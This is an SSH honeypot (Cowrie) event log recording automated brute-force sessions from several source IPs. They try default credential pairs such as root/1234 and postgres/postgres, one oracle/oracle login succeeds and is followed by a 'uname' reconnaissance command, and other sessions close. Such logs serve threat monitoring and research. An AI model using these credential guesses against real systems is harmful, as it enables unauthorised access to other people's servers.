{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:41.290179Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:02.668885Z","src_ip":"47.86.95.62","session":"a9aa374ff417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:05.351432Z","src_ip":"8.218.166.49","session":"fb2c217ab6d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:06.437276Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:30.951563Z","src_ip":"8.218.166.49","session":"651b1bcf53f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:32.764572Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:32.768460Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"8.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:41.639049Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"70.4","message":"Connection lost after 70.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:41.645285Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53294,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4ec6c6a23d","protocol":"ssh","message":"New connection: 47.86.95.62:53294 (10.17.0.5:22) [session: 5a4ec6c6a23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:45.611370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:45.650788Z","src_ip":"47.86.95.62","session":"5a4ec6c6a23d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27926,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c07e149e3e","protocol":"ssh","message":"New connection: 194.59.206.2:27926 (159.203.135.109:22) [session: b6c07e149e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:45.799212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:45.804878Z","src_ip":"194.59.206.2","session":"b6c07e149e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:45.898694Z","src_ip":"194.59.206.2","session":"b6c07e149e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:45.994541Z","src_ip":"194.59.206.2","session":"b6c07e149e3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:48.467859Z","src_ip":"8.218.166.49","session":"fb2c217ab6d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:51.111970Z","src_ip":"8.218.166.49","session":"651b1bcf53f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:51.117253Z","src_ip":"47.86.95.62","session":"5a4ec6c6a23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"86.9","message":"Connection lost after 86.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:51.799540Z","src_ip":"8.218.166.49","session":"fb2c217ab6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"109.9","message":"Connection lost after 109.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:22:57.400714Z","src_ip":"8.218.166.49","session":"651b1bcf53f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53756,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8695d826bf7","protocol":"ssh","message":"New connection: 8.218.166.49:53756 (10.17.0.5:22) [session: a8695d826bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:02.081050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:03.889196Z","src_ip":"8.218.166.49","session":"a8695d826bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:03.893949Z","src_ip":"8.218.166.49","session":"a8695d826bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:16.371587Z","src_ip":"8.218.166.49","session":"a8695d826bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:17.003087Z","src_ip":"8.218.166.49","session":"cbfb19506cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:18.935915Z","src_ip":"8.218.166.49","session":"a8695d826bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:33.612386Z","src_ip":"47.86.95.62","session":"a9aa374ff417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40684,"dst_ip":"10.17.0.5","dst_port":22,"session":"851554dfd3c6","protocol":"ssh","message":"New connection: 8.218.166.49:40684 (10.17.0.5:22) [session: 851554dfd3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:38.867633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:38.873155Z","src_ip":"8.218.166.49","session":"851554dfd3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54886,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a1da297057d","protocol":"ssh","message":"New connection: 8.218.166.49:54886 (10.17.0.5:22) [session: 5a1da297057d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.017335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.025522Z","src_ip":"8.218.166.49","session":"5a1da297057d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":40510,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc653b55f57","protocol":"ssh","message":"New connection: 45.148.10.121:40510 (159.203.135.109:22) [session: 0dc653b55f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.115149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.121047Z","src_ip":"45.148.10.121","session":"0dc653b55f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.277039Z","src_ip":"45.148.10.121","session":"0dc653b55f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59222,"dst_ip":"159.203.135.109","dst_port":22,"session":"63bf3d858337","protocol":"ssh","message":"New connection: 2.57.122.238:59222 (159.203.135.109:22) [session: 63bf3d858337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.960299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:46.965010Z","src_ip":"2.57.122.238","session":"63bf3d858337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:47.064641Z","src_ip":"2.57.122.238","session":"63bf3d858337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:47.363348Z","src_ip":"2.57.122.238","session":"63bf3d858337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:48.467297Z","src_ip":"2.57.122.238","session":"63bf3d858337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54902,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc9ba1742cab","protocol":"ssh","message":"New connection: 8.218.166.49:54902 (10.17.0.5:22) [session: bc9ba1742cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:52.928566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:52.933894Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":64347,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fdfd4ce8653","protocol":"ssh","message":"New connection: 213.209.159.56:64347 (10.17.0.5:22) [session: 6fdfd4ce8653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:53.046501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:53.051810Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
